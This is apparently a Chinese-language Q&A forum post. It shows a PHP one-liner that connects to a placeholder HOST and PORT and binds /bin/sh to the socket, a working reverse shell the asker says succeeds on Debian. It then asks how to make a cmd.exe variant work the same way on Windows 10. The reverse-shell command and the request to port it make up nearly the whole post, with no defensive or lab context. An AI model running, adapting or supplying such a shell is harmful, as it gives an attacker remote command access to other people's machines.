如何使“&3 2>&3”命令在 Windows 中像在 Linux 中一样工作?

如何使“&3 2>&3”命令在 Windows 中像在 Linux 中一样工作?

我在 Debian GNU/Linux 11(bullseye)shell 上尝试了这个命令:

php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

并且成功运行。

但是,当我尝试在 Windows 10 CMD 上运行相同的命令并进行微小改动时:

php -r "$sock=fsockopen('HOST',PORT);exec('cmd.exe -i <&3 >&3 2>&3');"

它的行为与在 Linux 上运行时不同。我相信行为的改变是因为 Linux 的文件描述符和 Windows 的文件句柄语法不同,但如果它影响到归因于这些操作系统之间行为的改变,请随意更正命令的其他部分。

相关内容